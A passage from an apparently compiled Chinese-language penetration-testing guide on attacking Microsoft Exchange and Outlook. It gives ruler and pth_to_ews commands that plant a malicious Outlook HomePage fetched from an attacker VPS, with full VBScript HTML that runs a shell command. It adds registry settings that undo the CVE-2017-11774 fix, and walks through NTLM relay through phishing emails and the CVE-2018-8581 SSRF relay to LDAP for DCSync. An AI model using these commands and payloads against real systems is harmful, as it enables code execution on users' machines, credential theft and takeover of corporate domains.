ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug homepage delete
2.pth_to_ews.exe
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Purl http://VPS:9090/aa.html -Type Set
HomePage 的内容是
<html> <head> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>Outlook</title> <script id=clientEventHandlersVBS language=vbscript> <!-- Sub window_onload() Set Application = ViewCtl1.OutlookApplication Set cmd = Application.CreateObject("Wscript.Shell") cmd.Run("calc") End Sub --> </script> </head> <body> <object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object> </body> </html>这个是弹计算器的 自行修改,
在2017 年 11 月安全更新修复,CVE-2017-11774
修复后 Homepage 默认关闭,重新启用:
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security] "EnableRoamingFolderHomepages"=dword:00000001
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Outlook\Security]DWORD: NonDefaultStoreScript Value Data: 1 (Hexadecimal) to enable.
0x10 NTLM_Relay
在之前的系列文章里面曾经说过ntlm_relay,ntlm_relay在Exchange上的应用也很广泛.
主要有以下几种攻击场景
- 普通用户relay 到ews接口
由于EWS接口也支持NTLM SSP的。我们可以relay到EWS接口,从而收发邮件,代理等等。在使用outlook的情况下还可以通过homepage或者下发规则达到命令执行的效果。而且这种Relay还有一种好处,将Exchange开放在外网的公司并不在少数,我们可以在外网发起relay,而不需要在内网.
而outlook有个设计缺陷(具体版本稍不清楚),又可以导致我们给鱼儿发一封邮箱,对方只需查看邮件,无需预览,就可以拿到鱼儿的ntlm请求.
我们给鱼儿发一封邮件,使用HTML,在里面插入以下语句


这里支持两种协议,这里说下两个的区别
UNCUNC默认携带凭据,但是如果IP 是公网IP的话,很多公司是访问不到公网445的
HTTP协议默认不携带凭据,只有信任域(域内DNS记录)才会携带凭据.域内的成员默认有增加DNS的权限,可以用域内成员的权限在内网增加一条DNS记录.
给鱼儿发送邮箱
当鱼儿用outlook打开的时候就会触发请求,我们再将请求relay到EWS接口
relay到EWS接口查看邮件
relay到EWS接口通过HomePage控制Outlook客户端
- Exchange中的SSRF
在常规渗透中,SSRF常用以对内网的应用进行嗅探,配合内网某些未授权访问的应用来扩大攻击面.由于Exchange的SSRF默认携带凭据,在Relay的场景中,攻击利用面被不断放大,网上公开的一个SSRF就是CVE-2018-8581.
主要有两种应用,relay到EWS接口,relay到LDAP
(1) relay到EWS接口
由于Exchange 是以System用户的权限运行,因此我们拿到的是机器用户的Net-Ntlm Hash。并不能直接用以登录。但是Exchange 机器用户可以获得TokenSerializationRight的”特权”会话,可以Relay 到 机子本身的Ews接口,然后可以使用SOAP请求头来冒充任何用户。
具体利用请见Wyatu师傅的https://github.com/WyAtu/CVE-2018-8581
(2) relay到LDAP
所有的Exchange Server 都在Exchange Windows Permissions组里面,而这个组默认就对域有WriteACL权限.因此我们可以relay到LDAP,而又由于Relay到的服务端是Ldap,Ldap服务器的默认策略是协商签名。而不是强制签名。是否签名由客户端决定。在SSRF里面发起的请求是http协议,http协议是不要求进行签名.
这里面
攻击者:172.16.228.1
Exchange:172.16.228.133
域控:172.16.228.135
使用impacket监听端口等待连接
发起推送订阅指定所需的URL,Exchange. 服务器将尝试向这个URL发送通知
Relay 到域控的Ldap 服务器并给普通用户daiker添加两条acl
daiker进行Dcync
网上资料总结,侵权联系删